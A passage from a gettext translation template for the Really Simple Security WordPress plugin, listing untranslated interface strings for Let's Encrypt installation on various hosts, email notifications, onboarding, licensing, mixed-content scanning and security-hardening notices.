msgstr ""

#: lets-encrypt/config/fields.php:291
msgid "CloudWays user email"
msgstr ""

#: lets-encrypt/config/fields.php:307
#: lets-encrypt/config/fields.php:312
msgid "CloudWays API key"
msgstr ""

#: lets-encrypt/config/fields.php:313
msgid "You can find your api key %shere%s (make sure you're logged in with your main account)."
msgstr ""

#: lets-encrypt/config/fields.php:329
msgid "Plesk host"
msgstr ""

#: lets-encrypt/config/fields.php:332
msgid "Plesk admin URL"
msgstr ""

#: lets-encrypt/config/fields.php:333
msgid "The URL you use to access your Plesk dashboard. Ends on :8443."
msgstr ""

#: lets-encrypt/config/fields.php:353
msgid "Plesk username"
msgstr ""

#: lets-encrypt/config/fields.php:356
msgid "Plesk username and password"
msgstr ""

#: lets-encrypt/config/fields.php:357
msgid "You can find your Plesk username and password in %s"
msgstr ""

#: lets-encrypt/config/fields.php:377
msgid "Plesk password"
msgstr ""

#: lets-encrypt/config/fields.php:396
msgid "Do you want to store these credentials for renewal purposes?"
msgstr ""

#: lets-encrypt/config/fields.php:400
msgid "Store for renewal purposes. If not stored, renewal may need to be done manually."
msgstr ""

#: lets-encrypt/config/fields.php:422
msgid "Checking host..."
msgstr ""

#: lets-encrypt/config/fields.php:428
msgid "Checking challenge directory..."
msgstr ""

#: lets-encrypt/config/fields.php:434
msgid "Checking key directory..."
msgstr ""

#: lets-encrypt/config/fields.php:440
msgid "Checking certs directory..."
msgstr ""

#: lets-encrypt/config/fields.php:446
msgid "Checking permissions..."
msgstr ""

#: lets-encrypt/config/fields.php:453
msgid "Checking challenge directory reachable over http..."
msgstr ""

#: lets-encrypt/config/fields.php:474
#: lets-encrypt/config/fields.php:512
msgid "Creating account..."
msgstr ""

#: lets-encrypt/config/fields.php:480
msgid "Retrieving DNS verification token..."
msgstr ""

#: lets-encrypt/config/fields.php:506
msgid "Checking if Terms & Conditions are accepted..."
msgstr ""

#: lets-encrypt/config/fields.php:518
msgid "Generating SSL certificate..."
msgstr ""

#: lets-encrypt/config/fields.php:532
msgid "Searching for link to SSL installation page on your server..."
msgstr ""

#: lets-encrypt/config/fields.php:550
msgid "Checking for subdomain setup..."
msgstr ""

#: lets-encrypt/config/notices.php:28
msgid "Your Key and Certificate directories are not properly protected."
msgstr ""

#: lets-encrypt/config/notices.php:41
msgid "The non-www version of your site does not point to this website. This is recommended, as it will allow you to add it to the certificate as well."
msgstr ""

#: lets-encrypt/config/notices.php:43
msgid "The www version of your site does not point to this website. This is recommended, as it will allow you to add it to the certificate as well."
msgstr ""

#: lets-encrypt/config/notices.php:71
msgid "Your certificate is valid until: %s"
msgstr ""

#: lets-encrypt/config/notices.php:75
msgid "Your certificate will expire on %s. You can renew it %shere%s."
msgstr ""

#: lets-encrypt/config/notices.php:90
msgid "The automatic installation of your certificate has failed. Please check your credentials, and retry the %sinstallation%s."
msgstr ""

#: lets-encrypt/config/notices.php:97
msgid "The SSL certificate has been renewed, and requires manual %sinstallation%s in your hosting dashboard."
msgstr ""

#: lets-encrypt/config/notices.php:104
msgid "Automatic renewal of your certificate was not possible. The SSL certificate should be %srenewed%s manually."
msgstr ""

#: lets-encrypt/config/notices.php:111
msgid "Your certificate will be renewed and installed automatically."
msgstr ""

#: lets-encrypt/config/notices.php:128
msgid "Your server provides shell functionality, which offers additional methods to install SSL. If installing SSL using the default methods is not possible, you can install the shell add on."
msgstr ""

#: lets-encrypt/config/notices.php:144
msgid "You are using the Really Simple Security Shell Exec add on, but your current version needs to be updated."
msgstr ""

#: lets-encrypt/config/notices.php:166
msgid "Renew installation"
msgstr ""

#: lets-encrypt/config/notices.php:169
#: lets-encrypt/config/notices.php:172
msgid "Renew certificate"
msgstr ""

#: lets-encrypt/download.php:49
msgid "File missing. Please retry the previous steps."
msgstr ""

#: lets-encrypt/functions.php:12
msgid "For more information, please read this %sarticle%s"
msgstr ""

#: lets-encrypt/functions.php:376
#: lets-encrypt/functions.php:377
#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/SettingsGroup.js:99
msgid "Instructions"
msgstr ""

#: lets-encrypt/functions.php:380
msgid "Please complete manually in your hosting dashboard."
msgstr ""

#: lets-encrypt/functions.php:381
msgid "Please activate it manually on your hosting dashboard."
msgstr ""

#: lets-encrypt/functions.php:383
msgid "Please complete %smanually%s"
msgstr ""

#: lets-encrypt/functions.php:384
msgid "Please activate it on your dashboard %smanually%s"
msgstr ""

#: lets-encrypt/functions.php:385
msgid "Go to activation"
msgstr ""

#: lets-encrypt/functions.php:386
msgid "Go to installation"
msgstr ""

#: lets-encrypt/functions.php:393
#: lets-encrypt/functions.php:397
#: lets-encrypt/functions.php:407
msgid "After completing the installation, you can continue to the next step to complete your configuration."
msgstr ""

#: lets-encrypt/functions.php:395
msgid "You already have free SSL on your hosting environment."
msgstr ""

#: lets-encrypt/functions.php:404
msgid "Your hosting environment does not allow automatic SSL installation."
msgstr ""

#: lets-encrypt/functions.php:406
msgid "You can follow these %sinstructions%s."
msgstr ""

#: lets-encrypt/integrations/cloudways/cloudways.php:161
msgid "Failed retrieving access token"
msgstr ""

#: lets-encrypt/integrations/cloudways/cloudways.php:181
#: lets-encrypt/integrations/cloudways/cloudways.php:187
msgid "Successfully installed Let's Encrypt"
msgstr ""

#: lets-encrypt/integrations/cloudways/cloudways.php:196
msgid "Error enabling auto renew for Let's Encrypt"
msgstr ""

#: lets-encrypt/integrations/cloudways/cloudways.php:212
#: lets-encrypt/integrations/cloudways/cloudways.php:245
msgid "Successfully retrieved server id and app id"
msgstr ""

#: lets-encrypt/integrations/cloudways/cloudways.php:252
msgid "Could not retrieve server list"
msgstr ""

#: lets-encrypt/integrations/cloudways/functions.php:37
msgid "Retrieving Cloudways server data..."
msgstr ""

#: lets-encrypt/integrations/cloudways/functions.php:43
msgid "Installing SSL certificate..."
msgstr ""

#: lets-encrypt/integrations/cloudways/functions.php:49
msgid "Enabling auto renew..."
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:66
#: lets-encrypt/integrations/directadmin/directadmin.php:66
msgid "No valid list of domains."
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:108
#: lets-encrypt/integrations/cpanel/cpanel.php:192
msgid "Your website's ip address is blocked. Please add your domain's ip address to the security policy in CPanel"
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:113
msgid "Login credentials incorrect. Please check your login credentials for cPanel."
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:123
#: lets-encrypt/integrations/directadmin/directadmin.php:124
msgid "SSL successfully installed on %s"
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:128
#: lets-encrypt/integrations/cpanel/cpanel.php:207
msgid "Errors were reported during installation."
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:294
msgid "Unable to connect to cPanel"
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:298
msgid "Login credentials incorrect"
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:306
#: lets-encrypt/integrations/cpanel/cpanel.php:325
msgid "Successfully added TXT record."
msgstr ""

#: lets-encrypt/integrations/cpanel/cpanel.php:310
#: lets-encrypt/integrations/cpanel/cpanel.php:329
msgid "Could not automatically add TXT record. Please proceed manually, following the steps below."
msgstr ""

#: lets-encrypt/integrations/cpanel/functions.php:63
msgid "The system is not ready for the DNS verification yet. Please run the wizard again."
msgstr ""

#: lets-encrypt/integrations/cpanel/functions.php:91
msgid "Attempting to install certificate using AutoSSL..."
msgstr ""

#: lets-encrypt/integrations/cpanel/functions.php:100
msgid "Attempting to set DNS txt record..."
msgstr ""

#: lets-encrypt/integrations/cpanel/functions.php:107
#: lets-encrypt/integrations/directadmin/functions.php:35
msgid "Attempting to install certificate..."
msgstr ""

#: lets-encrypt/integrations/plesk/functions.php:33
msgid "Installing SSL certificate using PLESK API..."
msgstr ""

#: lets-encrypt/integrations/plesk/plesk.php:90
msgid "Successfully installed SSL"
msgstr ""

#: mailer/class-mail.php:31
msgid "This email is part of the Really Simple Security Notification System"
msgstr ""

#: mailer/class-mail.php:32
msgid "Notification by Really Simple Security"
msgstr ""

#: mailer/class-mail.php:33
#: mailer/class-mail.php:37
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:192
msgid "Learn more"
msgstr ""

#: mailer/class-mail.php:35
msgid "Learn more about our features!"
msgstr ""

#: mailer/class-mail.php:36
msgid "This email was sent to"
msgstr ""

#: mailer/class-mail.php:38
msgid "Why did I receive this email?"
msgstr ""

#: mailer/class-mail.php:41
msgid "You have enabled a feature on %s. We think it's important to let you know a little bit more about this feature so you can use it without worries."
msgstr ""

#: mailer/class-mail.php:59
msgid "Test notification email error"
msgstr ""

#: mailer/class-mail.php:60
#: mailer/class-mail.php:99
#: mailer/class-mail.php:144
msgid "Email address not valid"
msgstr ""

#: mailer/class-mail.php:63
msgid "Really Simple Security - Notification Test"
msgstr ""

#: mailer/class-mail.php:64
msgid "This email is confirmation that any security notices are likely to reach your inbox."
msgstr ""

#: mailer/class-mail.php:67
msgid "About notifications"
msgstr ""

#: mailer/class-mail.php:68
msgid "Email notifications are only sent for important updates, security notices or when certain features are enabled."
msgstr ""

#: mailer/class-mail.php:81
#: mailer/class-mail.php:98
msgid "Email verification error"
msgstr ""

#: mailer/class-mail.php:114
msgid "Really Simple Security - Verify your email address"
msgstr ""

#: mailer/class-mail.php:115
msgid "Please verify your email"
msgstr ""

#: mailer/class-mail.php:116
msgid "To use certain features in Really Simple Security we need to confirm emails are delivered without issues."
msgstr ""

#: mailer/class-mail.php:117
msgid "Verify email"
msgstr ""

#: mailer/class-mail.php:120
msgid "Click the button below to confirm your email address, or copy the following URL: %s"
msgstr ""

#: mailer/class-mail.php:140
msgid "Email could not be sent. No message or subject set."
msgstr ""

#: mailer/class-mail.php:203
#: settings/config/fields/general.php:91
msgid "Email verification"
msgstr ""

#: mailer/class-mail.php:204
msgid "Email sent! Please check your mail"
msgstr ""

#: mailer/class-mail.php:209
msgid "Email could not be sent."
msgstr ""

#: mailer/class-mail.php:211
#: upgrade/upgrade-to-pro.php:372
#: upgrade/upgrade-to-pro.php:373
msgid "An error occurred:"
msgstr ""

#: mailer/class-mail.php:216
msgid "Email notification error"
msgstr ""

#: onboarding/class-onboarding.php:15
#: pro/class-admin.php:14
#: pro/class-headers.php:12
#: pro/class-importer.php:12
#: pro/class-scan.php:44
#: pro/csp-violation-endpoint.php:10
#: security/hardening.php:9
msgid "%s is a singleton class and you cannot create a second instance."
msgstr ""

#: onboarding/class-onboarding.php:180
msgid "Welcome to Really Simple Security"
msgstr ""

#: onboarding/class-onboarding.php:181
msgid "The onboarding wizard will help to configure essential security features in 1 minute! Select your hosting provider to start."
msgstr ""

#: onboarding/class-onboarding.php:186
msgid "Verify your email"
msgstr ""

#: onboarding/class-onboarding.php:187
msgid "Really Simple Security will send email notifications and security warnings from your server. We will send a test email to confirm that email is correctly configured on your site. Look for the confirmation button in the email."
msgstr ""

#: onboarding/class-onboarding.php:188
#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/Settings.js:153
msgid "Save and continue"
msgstr ""

#: onboarding/class-onboarding.php:192
msgid "Essential security"
msgstr ""

#: onboarding/class-onboarding.php:195
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:116
msgid "Enable"
msgstr ""

#: onboarding/class-onboarding.php:199
msgid "Activate your license key"
msgstr ""

#: onboarding/class-onboarding.php:204
#: settings/config/menu.php:777
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/OtherPlugins/OtherPluginsData.js:74
#: settings/src/Onboarding/OnboardingControls.js:192
#: settings/src/Settings/License/License.js:49
msgid "Activate"
msgstr ""

#: onboarding/class-onboarding.php:209
msgid "We think you will like this"
msgstr ""

#: onboarding/class-onboarding.php:210
msgid "Really Simple Plugins is also the author of the below privacy-focused plugins, including consent management, legal documents and analytics!"
msgstr ""

#: onboarding/class-onboarding.php:212
#: onboarding/class-onboarding.php:219
#: upgrade/upgrade-to-pro.php:146
#: upgrade/upgrade-to-pro.php:159
#: upgrade/upgrade-to-pro.php:176
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/OtherPlugins/OtherPluginsData.js:73
msgid "Install"
msgstr ""

#: onboarding/class-onboarding.php:217
msgid "Heavyweight security features, in a lightweight performant plugin from Really Simple Plugins. Get started with below features and get the latest and greatest updates for peace of mind!"
msgstr ""

#: onboarding/class-onboarding.php:274
msgid "You may need to login in again, have your credentials prepared."
msgstr ""

#: onboarding/class-onboarding.php:282
msgid "An SSL certificate has been detected"
msgstr ""

#: onboarding/class-onboarding.php:294
msgid "No SSL certificate has been detected."
msgstr ""

#: onboarding/class-onboarding.php:294
msgid "Please refresh the SSL status if a certificate has been installed recently."
msgstr ""

#: onboarding/class-onboarding.php:310
msgid "Privacy-friendly analytics tool."
msgstr ""

#: onboarding/class-onboarding.php:316
msgid "Consent Management as it should be."
msgstr ""

#: onboarding/class-onboarding.php:361
#: settings/config/menu.php:187
#: settings/config/menu.php:192
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Progress/ProgressFooter.js:58
#: settings/src/Dashboard/Progress/ProgressFooter.js:62
msgid "Vulnerability scan"
msgstr ""

#: onboarding/class-onboarding.php:367
msgid "Essential WordPress hardening"
msgstr ""

#: onboarding/class-onboarding.php:373
msgid "E-mail login"
msgstr ""

#: onboarding/class-onboarding.php:379
msgid "Mixed Content Fixer"
msgstr ""

#: onboarding/class-onboarding.php:389
#: onboarding/class-onboarding.php:430
#: security/firewall-manager.php:603
#: security/firewall-manager.php:609
#: security/firewall-manager.php:625
#: settings/config/menu.php:551
#: settings/config/menu.php:569
#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:73
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Progress/ProgressFooter.js:44
#: settings/src/Dashboard/Progress/ProgressFooter.js:48
msgid "Firewall"
msgstr ""

#: onboarding/class-onboarding.php:403
#: onboarding/class-onboarding.php:445
#: settings/config/menu.php:398
#: settings/config/menu.php:406
#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:98
msgid "Limit Login Attempts"
msgstr ""

#: onboarding/class-onboarding.php:410
#: onboarding/class-onboarding.php:452
#: settings/config/menu.php:98
msgid "Security Headers"
msgstr ""

#: onboarding/class-onboarding.php:467
msgid "Vulnerability Measures"
msgstr ""

#: onboarding/class-onboarding.php:473
msgid "Advanced WordPress Hardening"
msgstr ""

#: onboarding/class-onboarding.php:486
msgid "Strong Password policy"
msgstr ""

#: onboarding/class-onboarding.php:642
msgid "Instantly configure these essential features."
msgstr ""

#: onboarding/class-onboarding.php:646
msgid "Please %sconsider upgrading to Pro%s to enjoy all simple and performant security features."
msgstr ""

#: placeholders/class-placeholder.php:327
#: pro/class-scan.php:1659
msgid "Mixed content in PHP file in %s"
msgstr ""

#: placeholders/class-placeholder.php:331
#: placeholders/class-placeholder.php:348
#: placeholders/class-placeholder.php:372
#: placeholders/class-placeholder.php:389
#: placeholders/class-placeholder.php:415
#: placeholders/class-placeholder.php:440
#: pro/class-scan.php:1663
#: pro/class-scan.php:1696
#: pro/class-scan.php:1734
#: pro/class-scan.php:1771
#: pro/class-scan.php:1809
#: pro/class-scan.php:1856
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:90
#: settings/src/Settings/RiskConfiguration/RiskData.js:115
msgid "Details"
msgstr ""

#: placeholders/class-placeholder.php:343
#: pro/class-scan.php:1691
msgid "Mixed content in %s"
msgstr ""

#: placeholders/class-placeholder.php:356
#: placeholders/class-placeholder.php:397
#: placeholders/class-placeholder.php:423
#: placeholders/class-placeholder.php:448
#: pro/class-scan.php:1704
#: pro/class-scan.php:1779
#: pro/class-scan.php:1817
#: pro/class-scan.php:1864
msgid "Import and insert file"
msgstr ""

#: placeholders/class-placeholder.php:357
#: placeholders/class-placeholder.php:398
#: placeholders/class-placeholder.php:424
#: placeholders/class-placeholder.php:449
#: pro/class-scan.php:1705
#: pro/class-scan.php:1780
#: pro/class-scan.php:1818
#: pro/class-scan.php:1865
#: pro/class-scan.php:2192
msgid "Copyright warning!"
msgstr ""

#: placeholders/class-placeholder.php:368
#: pro/class-scan.php:1730
msgid "Mixed content in CSS/JS file from other domain"
msgstr ""

#: placeholders/class-placeholder.php:385
#: pro/class-scan.php:1767
msgid "Mixed content in post: %s"
msgstr ""

#: placeholders/class-placeholder.php:410
#: pro/class-scan.php:1797
msgid "Mixed content in the postmeta table"
msgstr ""

#: placeholders/class-placeholder.php:431
msgid "Widget area"
msgstr ""

#: placeholders/class-placeholder.php:436
#: pro/class-scan.php:1852
msgid "Widget with mixed content"
msgstr ""

#: pro/class-admin.php:136
msgid "You have installed Really Simple Security Pro. We have deactivated and removed the free plugin."
msgstr ""

#: pro/class-admin.php:149
#: settings/config/fields/general.php:211
#: settings/config/menu.php:51
msgid "Premium Support"
msgstr ""

#: pro/class-admin.php:600
msgid "Elementor mixed content successfully converted."
msgstr ""

#: pro/class-admin.php:613
#: pro/class-admin.php:618
msgid "Potential redirect loop."
msgstr ""

#: pro/class-admin.php:614
msgid "No redirect to http detected."
msgstr ""

#: pro/class-admin.php:619
msgid "A redirect to http was detected. This might result in redirect loops."
msgstr ""

#: pro/class-admin.php:635
msgid "TLS version"
msgstr ""

#: pro/class-admin.php:636
msgid "Your site uses an outdated version of TLS. Upgrade to TLS 1.2 or TLS 1.3 to keep your site secure."
msgstr ""

#: pro/class-admin.php:650
msgid "Your site redirects 404 pages to the http:// version of your homepage. This can cause mixed content issues with images."
msgstr ""

#: pro/class-admin.php:663
msgid "You are using W3 Total Cache with Disk: Enhanced setting. This can prevent Security headers from being properly loaded."
msgstr ""

#: pro/class-headers.php:210
#: pro/class-headers.php:419
msgid "The %s security header is not set by Really Simple Security, but has a non-recommended value: \"%s\"."
msgstr ""

#: pro/class-headers.php:230
#: pro/class-headers.php:236
msgid "HSTS Preload"
msgstr ""

#: pro/class-headers.php:231
msgid "Your site has been configured for the HSTS preload list. If you have submitted your site, it will be preloaded. Click %shere%s to submit."
msgstr ""

#: pro/class-headers.php:237
msgid "Your site is not yet configured for the HSTS preload list."
msgstr ""

#: pro/class-headers.php:243
msgid "HSTS not enabled"
msgstr ""

#: pro/class-headers.php:244
msgid "Your site is not configured for HSTS yet."
msgstr ""

#: pro/class-headers.php:450
msgid "The following essential security headers have not been set: %s"
msgstr ""

#: pro/class-importer.php:61
msgid "Roll back file changes"
msgstr ""

#: pro/class-importer.php:93
msgid "Something went wrong. If this doesn't work, you can put the original files back by changing files named 'rsssl-bkp-filename' to filename."
msgstr ""

#: pro/class-importer.php:105
msgid "Your files were restored."
msgstr ""

#: pro/class-importer.php:107
msgid "Your files already were restored."
msgstr ""

#: pro/class-importer.php:121
#: pro/class-importer.php:162
#: pro/class-importer.php:200
#: pro/class-importer.php:242
#: pro/class-importer.php:278
msgid "Something went wrong. Please refresh the page and try again, or fix manually."
msgstr ""

#: pro/class-importer.php:136
msgid "There was a problem editing the file. Please try manually."
msgstr ""

#: pro/class-importer.php:179
msgid "The file could not be downloaded. It might not exist, or downloading is blocked. Fix manually."
msgstr ""

#: pro/class-importer.php:221
#: pro/class-importer.php:258
#: pro/class-importer.php:297
msgid "The file could not be downloaded. The file might not exist, or downloading is be blocked by the server. Fix manually."
msgstr ""

#: pro/class-importer.php:537
#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Settings/FieldsData.js:183
msgid "Something went wrong"
msgstr ""

#: pro/class-licensing.php:113
msgid "Activate your license for automatic updates."
msgstr ""

#: pro/class-licensing.php:184
#: pro/class-licensing.php:206
#: pro/class-licensing.php:722
#: pro/class-licensing.php:729
#: pro/class-licensing.php:736
#: pro/class-licensing.php:743
#: pro/class-licensing.php:750
#: pro/class-licensing.php:765
msgid "License"
msgstr ""

#: pro/class-licensing.php:185
msgid "Manage your license here."
msgstr ""

#: pro/class-licensing.php:518
msgid "unlimited"
msgstr ""

#: pro/class-licensing.php:525
msgid "You have a lifetime license."
msgstr ""

#: pro/class-licensing.php:525
msgid "Valid until %s."
msgstr ""

#: pro/class-licensing.php:531
msgid "Upgrade to a %s5 sites or Agency%s license."
msgstr ""

#: pro/class-licensing.php:534
msgid "Upgrade to an %sAgency%s license."
msgstr ""

#: pro/class-licensing.php:537
msgid "You can renew your license on your %saccount%s."
msgstr ""

#: pro/class-licensing.php:542
msgid "Unlimited activations available."
msgstr ""

#: pro/class-licensing.php:545
#: pro/class-licensing.php:641
msgid "%s/%s activations available."
msgstr ""

#: pro/class-licensing.php:561
msgid "Valid license for %s."
msgstr ""

#: pro/class-licensing.php:586
msgid "Multisite detected. Please upgrade to %smultisite%s."
msgstr ""

#: pro/class-licensing.php:594
msgid "The license information could not be retrieved at this moment. Please try again at a later time."
msgstr ""

#: pro/class-licensing.php:600
msgid "Please enter your license key. Available in your %saccount%s."
msgstr ""

#: pro/class-licensing.php:608
msgid "Please activate your license key."
msgstr ""

#: pro/class-licensing.php:614
msgid "Your license has been revoked. Please contact %ssupport%s."
msgstr ""

#: pro/class-licensing.php:620
msgid "Your license could not be found in our system. Please contact %ssupport%s."
msgstr ""

#: pro/class-licensing.php:627
msgid "This license is not valid. Find out why on your %saccount%s."
msgstr ""

#: pro/class-licensing.php:634
msgid "This license is not valid for this product. Find out why on your %saccount%s."
msgstr ""

#: pro/class-licensing.php:647
msgid "Your license key has expired. Please renew your license key on your %saccount%s."
msgstr ""

#: pro/class-licensing.php:655
msgid "Success"
msgstr ""

#: pro/class-licensing.php:656
msgid "Premium"
msgstr ""

#: pro/class-licensing.php:699
msgid "Your Really Simple Security Pro license hasn't been activated."
msgstr ""

#: pro/class-licensing.php:700
msgid "Your Really Simple Security Pro license is not valid."
msgstr ""

#: pro/class-licensing.php:714
msgid "%sActivate%s your license."
msgstr ""

#: pro/class-licensing.php:716
msgid "You can upgrade on your %saccount%s."
msgstr ""

#: pro/class-licensing.php:723
msgid "Your Really Simple Security Pro license key has expired. Please renew your license to continue receiving updates and premium support."
msgstr ""

#: pro/class-licensing.php:730
msgid "Your Really Simple Security Pro license key is not activated. Please activate your license to continue receiving updates and premium support."
msgstr ""

#: pro/class-licensing.php:737
msgid "This domain is not activated for this Really Simple Security Pro license. Please activate the license for this domain."
msgstr ""

#: pro/class-licensing.php:744
msgid "You do not have any activations left on your Really Simple Security Pro license. Please upgrade your plan for additional activations."
msgstr ""

#: pro/class-licensing.php:751
msgid "Your Really Simple Security Pro license key hasn't been activated yet. You can activate your license key on the license tab."
msgstr ""

#: pro/class-licensing.php:766
msgid "You are using Really Simple Security Pro single site on a multisite environment. Please install Really Simple Security multisite networkwide for multisite support."
msgstr ""

#: pro/class-scan.php:142
msgid "The last scan was completed with errors. Only migrate if you are sure the found errors are not a problem for your site."
msgstr ""

#: pro/class-scan.php:147
msgid "The last scan was completed with errors. Are you sure these issues don't impact your site?"
msgstr ""

#: pro/class-scan.php:208
#: pro/class-scan.php:1927
msgid "Never"
msgstr ""

#: pro/class-scan.php:214
msgctxt "'date' at 'time'"
msgid "%s at %s"
msgstr ""

#: pro/class-scan.php:247
msgid "Generating web page list"
msgstr ""

#: pro/class-scan.php:260
msgid "Searching for js and css files and links to external resources in website, %d of %d"
msgstr ""

#: pro/class-scan.php:275
msgid "Searching for mixed content in css and js files, %s of %s"
msgstr ""

#: pro/class-scan.php:289
msgid "Generating file list"
msgstr ""

#: pro/class-scan.php:303
msgid "Checking posts for external URLs, %s of %s"
msgstr ""

#: pro/class-scan.php:316
msgid "Checking widgets for external URLs"
msgstr ""

#: pro/class-scan.php:327
msgid "Checking which postmeta contain external resources"
msgstr ""

#: pro/class-scan.php:340
msgid "Checking which resources can't load over ssl, %s of %s"
msgstr ""

#: pro/class-scan.php:355
msgid "Checking if external js or css files contain http links, %s of %s"
msgstr ""

#: pro/class-scan.php:370
msgid "Looking up blocked resources in files, %s of %s"
msgstr ""

#: pro/class-scan.php:384
msgid "Looking up blocked resources in posts"
msgstr ""

#: pro/class-scan.php:397
msgid "Looking up blocked resources in postmeta"
msgstr ""

#: pro/class-scan.php:412
msgid "Looking up blocked resources in widgets"
msgstr ""

#: pro/class-scan.php:420
msgid "Finished scan"
msgstr ""

#: pro/class-scan.php:1607
msgid "theme file"
msgstr ""

#: pro/class-scan.php:1609
msgid "mu plugin file"
msgstr ""

#: pro/class-scan.php:1611
msgid "plugin file"
msgstr ""

#: pro/class-scan.php:1613
msgid "uploads file, possibly generated by plugin or theme"
msgstr ""

#: pro/class-scan.php:1615
msgid "cached file, deactivate cache to see the actual source"
msgstr ""

#: pro/class-scan.php:1617
msgid "file"
msgstr ""

#: pro/class-scan.php:1632
msgid "Downloading files from other websites can cause serious copyright issues! It is always illegal to use images, files, or any copyright protected material on your own site without the consent of the copyrightholder. Please ask the copyrightholder for permission. Use this function at your own risk."
msgstr ""

#: pro/class-scan.php:1633
msgid "This downloads the file from the domain without SSL, inserts it into WP media, and changes the URL to the new URL."
msgstr ""

#: pro/class-scan.php:1654
#: pro/class-scan.php:1685
#: pro/class-scan.php:1761
#: pro/class-scan.php:1798
#: pro/class-scan.php:1847
msgid "Blocked URL: %s"
msgstr ""

#: pro/class-scan.php:1654
msgid "You can edit the source file manually by pressing the edit button."
msgstr ""

#: pro/class-scan.php:1686
msgid "Can be fixed manually by editing the respective mu-plugin file in the /wp-content/mu-plugins/ directory."
msgstr ""

#: pro/class-scan.php:1686
msgid "Can be fixed automatically by pressing the Fix button. If fixing fails, the source file can be edited manually by pressing the Edit button."
msgstr ""

#: pro/class-scan.php:1724
msgid "Cannot be fixed automatically, as the mixed content is coming from an external domain. Contact the owner of the domain to update the CSS/JS file"
msgstr ""

#: pro/class-scan.php:1725
msgid "Mixed content resources: %s"
msgstr ""

#: pro/class-scan.php:1762
msgid "Mixed content found in in a post. Can be fixed automatically by pressing the fix button. Pressing the edit button allows you to update the link in the post manually."
msgstr ""

#: pro/class-scan.php:1797
msgid "iFrame in the wp_postmeta database table"
msgstr ""

#: pro/class-scan.php:1799
msgid "Mixed content from a postmeta table in your database. Usually won't cause any mixed content on the front-end. Check the post if it causes mixed content. If so, the link can be replace directly in the database."
msgstr ""

#: pro/class-scan.php:1842
msgid "Widget area \"%s\""
msgstr ""

#: pro/class-scan.php:1847
msgid "Mixed content found in a widget. Press the edit link to edit the widget manually."
msgstr ""

#: pro/class-scan.php:2191
msgid "Roll back changes made to your files"
msgstr ""

#: pro/class-scan.php:2195
msgid "This will put the files back that were changed by the fix option in Really Simple Security Pro."
msgstr ""

#: pro/class-scan.php:2197
msgid "Please note that any changes you have made since to your current files, will be lost."
msgstr ""

#: pro/class-scan.php:2202
msgid "Restore files"
msgstr ""

#: pro/csp-violation-endpoint.php:147
msgid "A required database table is missing. Please check if you have permissions to add this database table."
msgstr ""

#: pro/csp-violation-endpoint.php:169
msgid "Learning Mode is active for your Content Security Policy and will complete in %s days."
msgstr ""

#: pro/csp-violation-endpoint.php:181
msgid "Follow these steps to complete the setup:"
msgstr ""

#: pro/csp-violation-endpoint.php:183
msgid "Review the detected configuration in 'Content Security Policy'."
msgstr ""

#: pro/csp-violation-endpoint.php:184
msgid "Click 'Enforce' to enforce the configuration on your site."
msgstr ""

#: pro/csp-violation-endpoint.php:208
msgid "Content Security Policy maximum size exceeded"
msgstr ""

#: pro/csp-violation-endpoint.php:209
msgid "Your site has exceeded the maximum size for HTTP headers. To prevent issues, the Content Security Policy won't be added to your HTTP headers."
msgstr ""

#: pro/security/notices.php:13
msgid "You have enabled the \"Rename and randomize your database prefix\" option, but the attempt to do this has failed. The option has been disabled."
msgstr ""

#: pro/security/notices.php:34
msgid "Block admin creation was disabled, because the registration of admin users has failed."
msgstr ""

#: pro/security/notices.php:55
msgid "Two-Factor Authentication enabled for administrators."
msgstr ""

#: pro/security/notices.php:74
msgid "Limit Login Attempts enabled."
msgstr ""

#: pro/security/notices.php:93
msgid "Performant Firewall enabled."
msgstr ""

#: pro/security/wordpress/block-admin-creation.php:318
msgid "Manual approval required"
msgstr ""

#: pro/security/wordpress/block-admin-creation.php:319
msgid "Because of your settings in Really Simple Security, this user has been set to subscriber until you change the role manually."
msgstr ""

#: pro/security/wordpress/block-admin-creation.php:329
#: pro/security/wordpress/block-admin-creation.php:330
msgid "Suspicious admin account detected"
msgstr ""

#: pro/security/wordpress/block-admin-creation.php:331
msgid "A user account with administrator privileges was created outside the WordPress dashboard on %s"
msgstr ""

#: pro/security/wordpress/change-login-url.php:28
msgid "Login URL request"
msgstr ""

#: pro/security/wordpress/change-login-url.php:29
msgid "You have requested the login URL for your website. You can log in on %s."
msgstr ""

#: pro/security/wordpress/change-login-url.php:171
msgid "This feature is not enabled."
msgstr ""

#. translators: %s: The captcha provider name.
#: pro/security/wordpress/class-rsssl-captcha-config.php:134
msgid "%s validation failed"
msgstr ""

#: pro/security/wordpress/class-rsssl-captcha-config.php:182
msgid "Captcha was verified"
msgstr ""

#: pro/security/wordpress/class-rsssl-captcha-config.php:182
msgid "Captcha was not verified"
msgstr ""

#: pro/security/wordpress/class-rsssl-captcha-config.php:183
msgid "Captcha was verified successfully and you can now enable it in the supported features."
msgstr ""

